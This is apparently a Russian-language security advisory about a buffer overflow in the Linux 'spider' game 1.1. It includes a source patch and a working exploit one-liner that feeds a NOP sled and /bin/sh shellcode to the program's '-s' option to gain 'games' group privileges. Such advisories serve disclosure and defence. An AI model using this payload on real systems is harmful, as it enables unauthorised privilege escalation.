| Дата публикации: | 06.10.2004 |
| Дата изменения: | 17.10.2006 |
| Всего просмотров: | 1304 |
| Опасность: | Низкая |
| Наличие исправления: | Нет |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | Локальная |
| Воздействие: | Повышение привилегий |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | spider 1.x |
| Уязвимые версии: Spider Game 1.1
Описание: Переполнение буфера обнаружено в 'spider' игре для Linux систем. Локальный пользователь может получить привилегии ‘games’ группы. Локальный пользователь может представить специально обработанный параметр командной строки, чтобы вызвать переполнение буфера и выполнить произвольный код с привилегиями группы ‘games’. Пример: sh# spider -s `perl -e 'print "\x90" x 987 . "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80". "\x0c\xf6\xf\xbf"'` Решение:Установите исправление:
--- movelog.c 2004-08-31 14:12:32.000000000 +0300
+++ movelognew.c 2004-08-31 14:13:42.000000000 +0300
@@ -748,7 +748,7 @@
fname = remove_newlines(fname);
if ((fp = fopen(fname, "r")) == NULL) {
- (void)sprintf(buf, "Can't open file \"%s\" for loading.", fname);
+ (void)sprintf(buf, "Can't open file \"%.1000s\" for loading.", fname);
show_message(buf);
return;
}
|
|
| Ссылки: | Buffer Overflow in Spider game |